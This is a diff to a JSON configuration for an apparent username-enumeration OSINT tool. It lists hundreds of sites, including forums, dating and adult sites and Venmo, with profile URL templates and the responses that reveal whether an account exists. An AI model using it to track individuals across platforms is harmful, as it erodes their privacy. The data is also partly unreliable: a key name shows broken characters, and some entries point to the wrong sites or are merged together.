"bad_site": "" + }, + "Wikiquote": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikiquote.org", + "usernameON": "Zwyciezca", + "bad_site": "" + }, + "Wikivoyage": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikivoyage.org", + "usernameON": "Savh", + "bad_site": "" + }, + "Wiktionary": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "urlMain": "https://ru.wiktionary.org", + "usernameON": "Merdiginn", + "bad_site": "" + }, + "Wild-nature": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "http://www.wild-nature.ru/users/{}", + "urlMain": "http://www.wild-nature.ru", + "usernameON": "lana75", + "bad_site": "" + }, + "Wimkin": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://wimkin.com/{}", + "urlMain": "https://wimkin.com", + "usernameON": "JRourke", + "bad_site": "" + }, + "Windows10forums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.windows10forums.com/members/?username={}", + "urlMain": "https://www.windows10forums.com/", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windowsforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://windowsforum.com/members/?username={}", + "urlMain": "https://windowsforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windy": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorTyp��": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "usernameON": "blue", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Wineberserkers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.wineberserkers.com/u/{}/summary", + "urlMain": "https://www.wineberserkers.com", + "usernameON": "ybarselah", + "bad_site": "" + }, + "Winnipegwatch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "was not found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "urlMain": "https://winnipegwatch.websitetoolbox.com", + "usernameON": "Prevost12", + "comments": "cf", + "bad_site": 1 + }, + "Wireclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "url": "https://www.wireclub.com/users/{}", + "urlMain": "https://www.wireclub.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wiscobourbon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wiscobourbon.com/forums/users/{}/", + "urlMain": "https://wiscobourbon.com", + "usernameON": "lbourbonlover123", + "bad_site": "" + }, + "Wishlistr": { + "country": "🇸🇪", + "country_klas": "SE", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.wishlistr.com/profile/{}", + "urlMain": "https://www.wishlistr.com", + "usernameON": "adam", + "bad_site": "" + }, + "Witchnest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Domain Error Page", + "errorMsg2": "Страница не найдена", + "errorMsg3": ";", + "errorTyp��": "message", + "url": "https://witchnest.ru/user/{}/", + "urlMain": "https://witchnest.ru", + "comments": "super", + "usernameON": "Polina", + "bad_site": "" + }, + "Wittyprofiles": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "It looks like you are looking for something that isn't here.", + "errorMsg2": "QT Media 404", + "errorTyp��": "message", + "url": "http://www.wittyprofiles.com/author/{}", + "urlMain": "http://www.wittyprofiles.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Wix": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "usernameON": "support", + "bad_site": "" + }, + "Wolpy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "ItPage not found", + "errorMsg2": "doesn't exist", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://wolpy.com/{}", + "urlMain": "https://wolpy.com", + "usernameON": "FaustinFavreau", + "bad_site": "" + }, + "Wordart": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wordart.com/gallery/user/{}", + "urlMain": "https://wordart.com", + "usernameON": "Jarmiviktoria", + "bad_site": "" + }, + "WordPress": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "usernameON": "blue", + "bad_site": "" + }, + "WordPressOrg": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "usernameON": "blue", + "bad_site": "" + }, + "Worldofwarcraft_blizzard": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Error 404", + "errorMsg2": "WoW\n403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.excelworld.ru/index/8-0-{}", + "urlMain": "http://www.excelworld.ru", + "usernameON": "Mazila", + "bad_site": "" + }, + "Exo": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://exo.at.ua/index/8-0-{}", + "urlMain": "https://exo.at.ua", + "usernameON": "lara007", + "bad_site": "" + }, + "Exploretalent": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "info-text\">", + "errorMsg2": "userNode\":{}},\"", + "errorMsg3": "undefined", + "errorTyp��": "message", + "url": "https://www.exploretalent.com/{}", + "urlMain": "https://www.exploretalent.com", + "usernameON": "klaus", + "bad_site": "" + }, + "EybooksTO": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 resultados", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://eybooks.to/search/?q={}&quick=1&type=core_members", + "urlMain": "https://eybooks.to", + "usernameON": "invers0r", + "bad_site": 1 + }, + "EyeEm": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "blue | EyeEm Photographer", + "errorMsg2": "Not Found (404)", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "usernameON": "blue", + "bad_site": "" + }, + "F-droid": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.f-droid.org/u/{}/summary", + "urlMain": "https://forum.f-droid.org", + "usernameON": "tip", + "bad_site": "" + }, + "F3_cool": { + "country": "🇱🇻", + "country_klas": "LV", + "errorTyp��": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "usernameON": "blue", + "bad_site": "" + }, + "F6s": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "404", + "errorMsg2": "We think you might", + "errorMsg3": "unavailable in your location", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.f6s.com/{}", + "urlMain": "https://www.f6s.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "F95zone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://f95zone.to/members/?username={}", + "urlMain": "https://f95zone.to", + "usernameON": "retro", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "FA-Wiki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://wiki.fa100.ru/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "http://wiki.fa100.ru", + "usernameON": "Anatolyk", + "comments": "Oplata", + "bad_site": "" + }, + "Fabswingers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.fabswingers.com/profile/{}", + "urlMain": "https://www.fabswingers.com", + "usernameON": "adam", + "bad_site": "" + }, + "Facebook (деятельность запрещена в России)": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.facebook.com/{}/", + "urlMain": "https://www.facebook.com/", + "usernameON": "RED", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "comments": "ZAK_user", + "bad_site": "" + }, + "Facenama": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://facenama.com/{}", + "urlMain": "https://facenama.com/", + "usernameON": "blue", + "bad_site": 1 + }, + "Fadecloudmc": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fadecloudmc.com/forums/members/?username={}", + "urlMain": "https://fadecloudmc.com", + "usernameON": "jordan", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fallout_reactor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://fallout.reactor.cc/user/{}", + "urlMain": "https://fallout.reactor.cc", + "usernameON": "Xell108", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Fanacmilan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "NameBright - Domain Expired", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fanacmilan.com/index/8-0-{}", + "urlMain": "http://fanacmilan.com", + "usernameON": "milanfan97", + "bad_site": 1 + }, + "Fandom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "usernameON": "Jungypoo", + "bad_site": "" + }, + "FanficsLandia": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fanficslandia.com/usuario/?username={}", + "urlMain": "https://fanficslandia.com", + "usernameON": "sensy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fanlore": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "http://fanlore.org/wiki/User:{}", + "urlMain": "http://fanlore.org", + "usernameON": "red", + "bad_site": "" + }, + "Fanpop": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Fansmetrics": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://fansmetrics.com/en/onlyfans/{}", + "urlMain": "https://fansmetrics.com", + "urlProbe": "https://subseeker.co/creators/{}", + "usernameON": "itsmoremia", + "bad_site": "" + }, + "Fantlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найдено ни одного посетителя", + "errorMsg2": "

    FantLab ru

    ", + "errorTyp��": "message", + "url": "https://fantlab.ru/usersclasspage1?usersearch={}", + "urlMain": "https://fantlab.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Faqusha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://faqusha.ru/profile/{}/", + "urlMain": "https://faqusha.ru", + "usernameON": "typhoon", + "bad_site": "" + }, + "Fark": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Tastes like chicken.", + "errorMsg2": "FARK.com: User profiles: view", + "errorTyp��": "message", + "url": "https://www.fark.com/users/{}/", + "urlMain": "https://www.fark.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Farmerforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользовате", + "errorMsg3": "Не найдено ни одного пользовател", + "errorTyp��": "message", + "url": "http://farmerforum.ru/memberlist.php?username={}", + "urlMain": "http://farmerforum.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Fashionindustrynetwork": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fashionindustrynetwork.com/members/{}", + "urlMain": "https://www.fashionindustrynetwork.com", + "usernameON": "abitosera", + "comments": "bad", + "bad_site": 1 + }, + "Fatsecret": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.fatsecret.com/member/{}", + "urlMain": "https://www.fatsecret.com", + "usernameON": "adam", + "bad_site": "" + }, + "Favera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://favera.ru/{}", + "urlMain": "https://favera.ru", + "usernameON": "mayhem", + "bad_site": 1 + }, + "Fcdin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://fcdin.com/forum/memberlist.php?username={}", + "urlMain": "http://fcdin.com", + "usernameON": "red", + "bad_site": "" + }, + "Fcenter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www1.fcenter.ru/fcconfa/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www1.fcenter.ru", + "usernameON": "DmitryVT", + "bad_site": 1 + }, + "Fckarpaty": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Сторінку не знайдено", + "errorMsg2": "Сторінку не знайдено", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fckarpaty.com.ua/index/8-0-{}", + "urlMain": "http://fckarpaty.com.ua", + "usernameON": "OlegGurin", + "comments": "bad", + "bad_site": 1 + }, + "Fclmnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "content=\"noindex, nofollow", + "errorMsg2": "please...", + "errorTyp��": "message", + "url": "https://fclmnews.ru/user/{}/", + "urlMain": "https://fclmnews.ru", + "usernameON": "stoker82", + "comments": "cf", + "bad_site": "" + }, + "Fcrubin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум болельщиков ФК Рубин", + "errorTyp��": "message", + "url": "https://www.fcrubin.ru/forum/member.php?username={}", + "urlMain": "https://www.fcrubin.ru", + "usernameON": "flet", + "bad_site": "" + }, + "Fcshakhter": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": ">Постов не найдено

    ", + "errorMsg2": "

    ", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fcshakhter.by/forum.asp?limit_pocet=20&jmeno={}", + "urlMain": "https://fcshakhter.by", + "usernameON": "fdfds", + "bad_site": "" + }, + "Fedoraproject": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ask.fedoraproject.org/u/{}/summary", + "urlMain": "https://ask.fedoraproject.org/", + "usernameON": "rbirkner", + "bad_site": "" + }, + "Fegatch": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.fegatch.com/users/{}/artworks/", + "urlMain": "http://www.fegatch.com/", + "usernameON": "margaret-veret", + "bad_site": 1 + }, + "Feisovet": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://feisovet.ru/%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8/{}", + "urlMain": "https://feisovet.ru", + "usernameON": "RinaLesnicova", + "bad_site": "" + }, + "Femunity": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "content='noindex", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://femunity.org/forums/users/{}/", + "urlMain": "https://femunity.org", + "usernameON": "andrew99", + "ignore_status_code": true, + "bad_site": "" + }, + "Fiat-club": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "http://fiat-club.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://fiat-club.org.ua", + "usernameON": "CreAtoR", + "bad_site": "" + }, + "Ficwad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ficwad.com/a/{}/favorites/authors", + "urlMain": "https://ficwad.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ficwriter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Этот профиль либо больше не существует или не доступен.", + "errorMsg2": "Пользователи", + "errorTyp��": "message", + "url": "https://ficwriter.info/polzovateli/userprofile/{}.html", + "urlMain": "https://ficwriter.info", + "usernameON": "Zinaida", + "bad_site": "" + }, + "Filmow": { + "country": "🇵🇹", + "country_klas": "PT", + "errorTyp��": "status_code", + "url": "https://filmow.com/usuario/{}", + "urlMain": "https://filmow.com/", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Filmwatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://filmwatch.com/user/home/{}", + "urlMain": "https://filmwatch.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "Filmweb": { + "country": "🇵🇱", + "country_klas": "PL", + "errorMsg": "lang=\"pl\">", + "errorTyp��": "message", + "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://movie-club.ru", + "usernameON": "apollion", + "bad_site": "" + }, + "Forum_mow-portal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mow-portal.ru/index/8-0-{}", + "urlMain": "https://mow-portal.ru", + "usernameON": "alexeyeryomchenko", + "bad_site": "" + }, + "Forum_mozhaysk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mozhaysk.my1.ru/index/8-0-{}", + "urlMain": "https://mozhaysk.my1.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_mozilla-russia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "

    \n\n\n0", + "errorMsg3": "Виктор Николаевич", + "errorTyp��": "message", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.uralfishing.ru", + "usernameON": "Mephisto", + "bad_site": "" + }, + "Uralrock": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uralrock.ru/forum/member.php?username={}", + "urlMain": "https://uralrock.ru", + "usernameON": "Cyxapb", + "comments": "RUblock", + "bad_site": "" + }, + "Urlebird": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://urlebird.com/user/{}/", + "urlMain": "https://urlebird.com", + "usernameON": "chikamaria4", + "comments": "zamedlenie", + "bad_site": "" + }, + "USA_life": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://usa.life/{}", + "urlMain": "https://usa.life", + "usernameON": "RinDavis", + "bad_site": "" + }, + "Users_ucrazy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ucrazy.org/u/{}/", + "urlMain": "https://ucrazy.org", + "usernameON": "aptoc", + "bad_site": "" + }, + "Usersoft_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://usersoft.ucoz.ru/index/8-0-{}", + "urlMain": "https://usersoft.ucoz.ru", + "usernameON": "SRabdrashirup", + "bad_site": "" + }, + "Uvelir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://uvelir.net/member.php?username={}", + "urlMain": "https://uvelir.net/", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Uwr1": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "http://uwr1.de/forum/profile/{}", + "urlMain": "http://uwr1.de", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Uzhforum": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.uzhforum.com/member.php?username={}", + "urlMain": "http://www.uzhforum.com", + "usernameON": "kirpicik", + "comments": "old", + "bad_site": 1 + }, + "Valday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Личные данные пользователя ", + "errorMsg2": "gen\"> ", + "errorMsg3": "UnMask", + "errorTyp��": "message", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://valday.com", + "usernameON": "Azs", + "bad_site": "" + }, + "Vamber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vamber.ru/author/{}/", + "urlMain": "https://vamber.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Vampirerave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "urlMain": "https://www.vampirerave.com", + "usernameON": "EternalXRage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Vas3k": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vas3k.club/user/{}/", + "urlMain": "https://vas3k.club", + "usernameON": "zahhar", + "bad_site": "" + }, + "VC": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null", + "errorMsg2": "lastSortingValue\":0,\"total\":0", + "errorTyp��": "message", + "url": "https://vc.ru/discovery?q={}", + "urlMain": "https://vc.ru", + "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0", + "usernameON": "yuliya", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Vegascreativesoftware": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Whatever you're looking for.", + "errorMsg2": "VEGAS Community | vegascreativesoftware.info", + "errorTyp��": "message", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "urlMain": "https://www.vegascreativesoftware.info", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Velocat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих сообщений не найдено", + "errorMsg2": "<title>ВЕЛОСАЙТ - Информация", + "errorTyp��": "message", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "urlMain": "https://velocat.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Velomania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Velosamara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "urlMain": "http://velosamara.ru", + "usernameON": "Morbo", + "bad_site": "" + }, + "Venera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://venera.one/search/?q={}&type=core_members", + "urlMain": "https://venera.one", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Venmo": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://venmo.com/{}", + "urlMain": "https://venmo.com/", + "usernameON": "jenny", + "comments": "RUblock", + "bad_site": "" + }, + "Vero": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error Page - VERO™ – True Social", + "errorMsg2": "class=\"_not-found-page", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co", + "usernameON": "lilyherbertson", + "bad_site": "" + }, + "Vezha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vezha.com/members/?username={}", + "urlMain": "https://vezha.com/", + "usernameON": "red", + "bad_site": "" + }, + "Vgtimes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найден", + "errorMsg2": "Сайт сейчас", + "errorMsg3": "<div id='dle-content'></div>", + "errorTyp��": "message", + "url": "https://vgtimes.ru/user/{}/", + "urlMain": "https://vgtimes.ru", + "comments": "cf", + "usernameON": "Raumkua", + "bad_site": "" + }, + "Vidamora": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Meet , in", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.vidamora.com/profile/{}", + "urlMain": "https://www.vidamora.com", + "usernameON": "adam", + "bad_site": "" + }, + "Video_ploud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "urlMain": "https://video.ploud.jp", + "usernameON": "lwflouisa", + "bad_site": "" + }, + "Videoforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://videoforums.ru/member.php?username={}", + "urlMain": "http://videoforums.ru", + "usernameON": "carlo", + "bad_site": "" + }, + "Videogamegeek": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Profile | VideoGameGeek", + "errorMsg2": "Error: User does not exist.", + "errorMsg3": "not found", + "errorTyp��": "message", + "url": "https://videogamegeek.com/user/{}", + "urlMain": "https://videogamegeek.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Videohive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://videohive.net/user/{}", + "urlMain": "https://videohive.net", + "usernameON": "zedbadley", + "bad_site": "" + }, + "Videosift": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "You Seem Lost", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://videosift.com/member/{}", + "urlMain": "https://videosift.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": 1 + }, + "Vimeo": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Virgool": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "۴۰۴", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://virgool.io/@{}", + "urlMain": "https://virgool.io/", + "usernameON": "blue", + "comments": "cf", + "bad_site": 1 + }, + "Virtualireland": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и 